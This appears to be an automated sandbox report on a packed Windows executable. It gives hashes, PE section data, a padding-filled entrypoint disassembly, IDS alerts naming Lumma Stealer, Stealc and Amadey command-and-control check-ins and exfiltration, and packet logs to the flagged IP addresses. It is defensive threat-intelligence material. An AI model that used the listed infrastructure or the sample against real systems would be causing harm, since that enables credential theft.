TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	oTZfvSwHTq.exe
File size:	1'867'264 bytes
MD5:	8cb60f5681c5a681f60da6e2d7e589c0
SHA1:	2ad88182a81deab99dcda4337bbcd84e9d02bb83
SHA256:	6d5ad03df2eeaa1aa6b67612c564e84ce25ee20972d4060154c2587f2ae06e2f
SHA512:	10bcb3347074e907235fbe7fb0c9f0982d4d74c70a35fa956045977b915a53e404f2a646b41708cc4c31396d0e91d4b5e1f08698aa9cf14ce1ce570833659ab2
SSDEEP:	49152:bl3Z4CRoKSo+7uj2RJ7VVNk1cktO3nTVoZFo:R3ZxRdSn7N5v6iktO3TVoI
TLSH:	0C8533AD6C9222DADC7E6071E8CBF18D31DA4E0DE538A8F59C3E75431902D46023B9DE
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig..............................I...........@...........................I.....r8....@.................................Y@..m..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x89a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F74AC4FBF0Ah
subps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F74AC4FDF05h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	7f21b074bd10f59c9dbd0656f014cb04	False	0.9995915032679739	data	7.9768843414316155	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1ac	0x200	c4249243ceaeb236e3ce8ce2ab2c9a69	False	0.5390625	data	5.249019796122045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x55000	0x2a6000	0x200	3bd20dcdea2f56c251af7c7b66054141	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dtrvbrez	0x2fb000	0x19e000	0x19de00	97e05e9f69ba23c6ac531eca53ff7689	False	0.9946502897538508	data	7.954337720516309	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mncxnxsc	0x499000	0x1000	0x400	e1346bef33492b61705c92af0f4357d1	False	0.7646484375	data	5.964776358227607	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x49a000	0x3000	0x2200	99b9964b1a64e1579cfff856a9fdb3fe	False	0.006433823529411764	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x53058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-27T08:40:54.542869+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49704	172.67.165.185	443	TCP
2024-12-27T08:40:55.287780+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49704	172.67.165.185	443	TCP
2024-12-27T08:40:55.287780+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49704	172.67.165.185	443	TCP
2024-12-27T08:40:56.613400+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49705	172.67.165.185	443	TCP
2024-12-27T08:40:57.380448+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49705	172.67.165.185	443	TCP
2024-12-27T08:40:57.380448+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49705	172.67.165.185	443	TCP
2024-12-27T08:40:59.245882+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49706	172.67.165.185	443	TCP
2024-12-27T08:41:01.436183+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49706	172.67.165.185	443	TCP
2024-12-27T08:41:03.488161+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49707	172.67.165.185	443	TCP
2024-12-27T08:41:05.867077+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49708	172.67.165.185	443	TCP
2024-12-27T08:41:09.705285+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49711	172.67.165.185	443	TCP
2024-12-27T08:41:12.333774+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49713	172.67.165.185	443	TCP
2024-12-27T08:41:16.189149+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49714	172.67.165.185	443	TCP
2024-12-27T08:41:17.215532+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49714	172.67.165.185	443	TCP
2024-12-27T08:41:35.088528+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49716	185.215.113.206	80	TCP
2024-12-27T08:42:06.700947+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49718	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:40:53.320027113 CET	49704	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:53.320050955 CET	443	49704	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:53.320168972 CET	49704	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:53.323187113 CET	49704	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:53.323199034 CET	443	49704	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:54.542741060 CET	443	49704	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:54.542869091 CET	49704	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:54.547223091 CET	49704	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:54.547229052 CET	443	49704	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:54.547534943 CET	443	49704	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:54.588330984 CET	49704	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:54.602606058 CET	49704	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:54.602674961 CET	49704	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:54.602720976 CET	443	49704	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:55.287798882 CET	443	49704	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:55.287895918 CET	443	49704	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:55.287992001 CET	49704	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:55.308187008 CET	49704	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:55.308218002 CET	443	49704	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:55.339303970 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:55.339364052 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:55.339476109 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:55.354902983 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:55.354921103 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:56.613267899 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:56.613399982 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:56.614765882 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:56.614777088 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:56.615019083 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:56.616379976 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:56.616379976 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:56.616451979 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.380436897 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.380497932 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.380533934 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.380624056 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.380630970 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.380645037 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.380682945 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.380697966 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.380750895 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.380757093 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.391833067 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.391932964 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.391946077 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.400136948 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.400207996 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.400218964 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.447729111 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.500031948 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.541378975 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.541393995 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.583985090 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.584037066 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.584041119 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.584058046 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.584108114 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.584115982 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.584141016 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.584184885 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.584341049 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.584356070 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.584368944 CET	49705	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.584373951 CET	443	49705	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.813694954 CET	49706	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.813744068 CET	443	49706	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:57.813822985 CET	49706	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.814126968 CET	49706	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:57.814142942 CET	443	49706	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:59.245807886 CET	443	49706	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:59.245882034 CET	49706	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:59.247682095 CET	49706	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:59.247692108 CET	443	49706	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:59.247931004 CET	443	49706	172.67.165.185	192.168.2.8
Dec 27, 2024 08:40:59.249294996 CET	49706	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:59.249392986 CET	49706	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:40:59.249413967 CET	443	49706	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:01.436175108 CET	443	49706	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:01.436288118 CET	443	49706	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:01.436364889 CET	49706	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:01.482270956 CET	49706	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:01.482302904 CET	443	49706	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:02.222529888 CET	49707	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:02.222574949 CET	443	49707	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:02.222676039 CET	49707	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:02.222974062 CET	49707	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:02.222987890 CET	443	49707	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:03.487960100 CET	443	49707	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:03.488161087 CET	49707	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:03.489670992 CET	49707	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:03.489682913 CET	443	49707	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:03.489943027 CET	443	49707	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:03.491692066 CET	49707	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:03.491827011 CET	49707	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:03.491862059 CET	443	49707	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:03.491952896 CET	49707	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:03.491960049 CET	443	49707	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:04.354758024 CET	443	49707	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:04.354895115 CET	443	49707	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:04.355036974 CET	49707	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:04.355195045 CET	49707	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:04.355205059 CET	443	49707	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:04.555100918 CET	49708	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:04.555147886 CET	443	49708	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:04.555258989 CET	49708	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:04.555526972 CET	49708	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:04.555546045 CET	443	49708	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:05.866950035 CET	443	49708	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:05.867077112 CET	49708	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:05.868546009 CET	49708	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:05.868563890 CET	443	49708	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:05.868808031 CET	443	49708	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:05.870412111 CET	49708	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:05.870502949 CET	49708	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:05.870543003 CET	443	49708	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:05.870619059 CET	49708	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:05.870628119 CET	443	49708	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:07.844237089 CET	443	49708	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:07.844347000 CET	443	49708	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:07.844434023 CET	49708	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:07.844592094 CET	49708	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:07.844607115 CET	443	49708	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:08.352000952 CET	49711	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:08.352060080 CET	443	49711	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:08.352132082 CET	49711	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:08.352658987 CET	49711	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:08.352673054 CET	443	49711	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:09.705180883 CET	443	49711	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:09.705285072 CET	49711	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:09.706662893 CET	49711	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:09.706670046 CET	443	49711	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:09.707011938 CET	443	49711	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:09.711466074 CET	49711	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:09.711606026 CET	49711	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:09.711611986 CET	443	49711	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:10.454821110 CET	443	49711	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:10.454919100 CET	443	49711	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:10.455281019 CET	49711	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:10.455461025 CET	49711	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:10.455480099 CET	443	49711	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:11.028975964 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:11.029028893 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:11.029095888 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:11.029571056 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:11.029587030 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.333595991 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.333774090 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.335237026 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.335248947 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.335509062 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.343544960 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.344333887 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.344372988 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.344603062 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.344631910 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.344759941 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.344779968 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.344903946 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.344922066 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.345377922 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.345417976 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.345577002 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.345606089 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.345613956 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.346286058 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.346319914 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.391325951 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.391535997 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.391577959 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.391592979 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.435323000 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.435537100 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.435574055 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.435600996 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.483326912 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.486504078 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:12.531322002 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:12.705637932 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:14.930167913 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:14.930274010 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:14.930376053 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:14.930547953 CET	49713	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:14.930565119 CET	443	49713	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:14.977535009 CET	49714	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:14.977582932 CET	443	49714	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:14.977684975 CET	49714	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:14.978003025 CET	49714	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:14.978017092 CET	443	49714	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:16.188968897 CET	443	49714	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:16.189148903 CET	49714	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:16.191986084 CET	49714	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:16.192004919 CET	443	49714	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:16.192289114 CET	443	49714	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:16.193756104 CET	49714	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:16.193789005 CET	49714	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:16.193842888 CET	443	49714	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:17.215512037 CET	443	49714	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:17.215619087 CET	443	49714	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:17.215754986 CET	49714	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:17.243073940 CET	49714	443	192.168.2.8	172.67.165.185
Dec 27, 2024 08:41:17.243093967 CET	443	49714	172.67.165.185	192.168.2.8
Dec 27, 2024 08:41:17.254913092 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:17.374433994 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:17.374517918 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:17.374782085 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:17.494391918 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.714900017 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.714936972 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.714951038 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.715037107 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.715050936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.715061903 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.715075970 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.715229034 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.715240955 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.715251923 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.715332031 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:18.715332031 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:18.715332031 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:18.715332031 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:18.835092068 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:18.835120916 CET	80	49715	185.215.113.16	192.168.2.8
